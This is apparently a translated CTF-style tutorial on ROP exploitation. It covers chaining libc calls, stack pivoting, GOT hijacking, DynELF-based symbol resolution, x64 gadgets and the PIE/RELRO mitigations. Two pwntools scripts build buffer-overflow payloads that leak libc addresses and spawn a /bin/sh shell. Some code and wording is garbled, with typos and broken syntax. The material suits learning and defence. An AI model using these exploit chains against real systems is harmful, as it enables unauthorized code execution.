- One of ROP combat skills: connect multiple libc function calls
- ROPP combat skills two: stack migration (Stack Pivot)
- Detailed ROP case
- ROP under x64
- Mitigation techniques related to ROP and GOT table hijacking
Recap: stack layout
Recap: Return to Libc
Place system, exit, binsh, and 0 on the stack once, and then call system("/bin/sh") and exit(0) continuously
How to concatenate 3 or more libc function calls? If the libc function has more than 2 parameters, why not ROP Payload? E.g
read(fd,buf,size)
write(fd,buf,size)
DEMO code:
from pwn import *
elf = ELF("./ret2libc")
libc = elf.libc
io = process("./ret2libc")
pause()
io.recvuntil("This is your gift: ")
setvbuf_addr = int(io.recvline().strip(),16)
#libc.sym就是offset
libc_base = setvbuf_addr - libc.sym["setvbuf"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + libc.search("/bin/sh\x00").next()
pause()
log.info("setvbuf_addr:0x%x") % setvbuf_addr)
log.info("libc_base:0x%x") % libc_base)
log.info("system_addr:0x%x") % system_addr)
log.info("binsh_addr:0x%x") % binsh_addr)
pay = "A"*0x68 + "B"*4
pay += p32(system_addr)
pay += 'CCCC'
pay += p32(binsh_addr)
io.send(pay)
io.interactive()
Connect multiple libc function calls
To connect, for example, read(fd1,buf1,size1)
and write(fd2,buf2,size2)
two function calls, not in accordance with system("/bin/sh")
and exit(0)
disposed ROP Payload as parameters overlap
Using pop ret
this kind of ROP Gadget can solve this problem, for example:
pop ebx ; pop esi ; pop edi ; ret ;
These three gadgets are denoted as pop3 ret below
Offset calculation
Stack migration
- definition
- Change the stack position through a gadget that modifies the esp register
- Application scenarios
- The overflow length is short, not enough to do ROP (Example 1)
- The overflow payload ends with 0, and the gadget address starts with 0 (example 2)
- After leaking the address, we need to execute a new ROP chain
Example 1:
vodi stack_overflow(char *user)
{
char dst[512];
if (strlen(user)>536)
return;
//536-512 = 24 字节的溢出,太短!
strcpy(dst,user);
}
Example 2:
vodi stack_overflow(char *user){
char dst[512]
strcpy(dst,user);
}
x64 assembly
0x406113: 55 push %rbp
0x406114: 41 89 d4 mov %edx,%e12d
add esp
The gadget that adds esp to a fixed value is called "add esp", for example: add esp, 0x6c; ret;
pop ebp ret + leave ret
pop ebp;ret;
+Theleavel;ret;
combination of two gadgets can change esp to any valuepop ebp;ret;
You can change ebp to any valueleave = mov esp,ebp;pop ebp
So ebp will be stored in esp, and esp can be controlled arbitrarily
Use
- The first ROP leaked libc address
- Call
write(1,write_got,4)
, leak the address of the write function, same as method 1 - Call read(0,new_stack,ROP_len) to read the second ROP Payload to the BSS segment (new stack)
- Use stack migration
pop ebp ret
+leave ret
, connect to perform the second ROP - Wait for the stack migration to trigger the second ROP execution and start the shell
- Call
GOT table hijacking
Ideas
- In the above method, we need to perform two ROPs. The second ROP Payload relies on the leaked address of the first ROP. Can it be exploited with only one ROP?
- In ROP, call read and write through Return To PLT, which can actually read and write memory at will
- Therefore, in order to finally execute system(), we can not use ROP, but use the GOT table hijacking method: first call read through ROP to modify the GOT table entry of the wrtie function, and then call write again. In fact, the call at this time is Is the value of the GOT table entry after being hijacked, such as system()
detailed steps
- Use a ROP to complete libc address leakage, GOT table hijacking, and command string writing
- Call write(1,write_got,4), leaking the address of the write function
- Call read(), modify the GOT entry of the write() function to the system address
- Call read(0,bss,len(cmd)) to write the command string ("/bin/sh") into .bss Section
- Call write(cmd), actually call system(cmd)
- Read the leaked write function address and calculate the system() address
- Enter the system() address and modify the GOT table entry of the write() function
- Enter the command string "/bin/sh" and write it into the .bss Section
- Call write(cmd) to run system(cmd)
What to do if the question is not given to libc
-
From looking for the libc_base we need
-
Use DynELF
DynELF
- Principle: If you can read any memory, you can simulate
_dll_runtime_resolve
the behavior of functions to resolve symbols. The advantage of this is that you don't need to know libc. The DynELF module in the pwntools library has implemented this function - Write a general arbitrary memory leak function
- Allow memory leaks to be triggered multiple times by returning to the main() function
- Pass the leaked function into DynELF to resolve the address of the system() function
- Call system through ROP("/bin/sh")
- DynELF is very useful when the target libc library is unknown
DEMO exhibition:
from pwn import *
context(arch='i386',os='linux',endian='little',log_level='debug')
main = 0x80481D
bss = 0x8049700
elf = ELF("")
p = process("")
print "[+] PID: %s" % proc.pidof(p)
log.info("[+] system: %s" % hex(system))
#将栈溢出封装成ROP调用,方便多次触发
def do_rop(rop):
payload = 'A' * (0x88 + 4)
payload += rop
p.send(payload)
#任意内存读函数,通过ROP调用write函数将任意地址内存读出,最后回到main,实现反复触发
def peek(addr):
payload = 'A' * (0x88 + 4)
rop = p32(elf.plt['write']) + p32(main) + p32(1) + p32(add) + p32(4)
payload += rop
p.send(payload)
data = p.recv(4)
return data
#任意内存写函数,通过ROP调用write函数将任意地址内存写入,最后回到main,实现反复触发
def poke(addr,data):
payload = 'A' * (0x88 + 4)
rop = p32(elf.plt['read']) + p32(main) + p32(0) + p32(add) + p32(len(data))
payload += rop
p.send(payload)
p.send(data)
#将任意内存泄露函数peek传入DynELF
d = DynELF(peek,elf=elf)
#DynELF模块可以实现任意库中的任意符号解析,例如system
system = d.lookup("system","libc.so")
log.info("[+] system: %s" % hex(system))
#将要执行的命令写入.bss Section
poke(bss,'/bin/sh\0')
#通过ROP运行system(cmd)
do_rop(p32(system) + p32(0xDEADBEEF) + p32(bss))
p.interactive()
ROP under x64 architecture
- amd64 (64-bit) cdecl calling convention
- Use registers rdi, rsi, rdx, rcx, r8, r9 to pass the first 6 parameters
- The seventh and above parameters are passed through the stack
- The parameter is in the register, you must use gadget to set the parameter
- pop rdi; right
- pop rsi ; pop r15 ; ret ;
- It is a bit more difficult to set the rdx and rcx registers with gadgets. There is no such direct gadget as pop ret.
General Gadget under x64
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
Almost all x64 ELFs have the above two Gadgets in the _libc_csu_init function. The second Gadget can set r13, r14, r15, and then send these three values to rdx, rsi, edi through a Gadget, which just covers The first three parameters under the x64 cdecl calling convention
One Gadget
Find through the OneGadget tool: https://github.com/david942j/one_gadget
Usually execute system ("/bin/sh") to pass parameters before calling system;
What's more magical is that libc contains some gadgets, and you can start the shell by jumping directly to it;
It is usually found by looking for a reference to the string "/bin/sh" (press X in IDA Pro for the address of /bin/sh)
How to defend against ROP
- Position-independent code (PIE) can prevent attackers from direct ROP
- The attacker does not know the code address
- ROP and return to PLT technology cannot be used directly
- PIE bypass method
- Combining information disclosure vulnerabilities
- Can be blasted under x86_32 architecture
- Memory address randomization granularity is in page unit: 0x1000 byte aligned
How to defend against GOT table hijacking
- Relocation Read Only mitigation measures
- Compilation options: gcc -z, relro
- Before entering main(), all external functions will be parsed
- All GOT tables are set to read-only
- Bypass method
- Hijacking is the GOT table in the dynamic library that opens the protection (for example, the GOT table in libc)
- Rewrite function return address or function pointer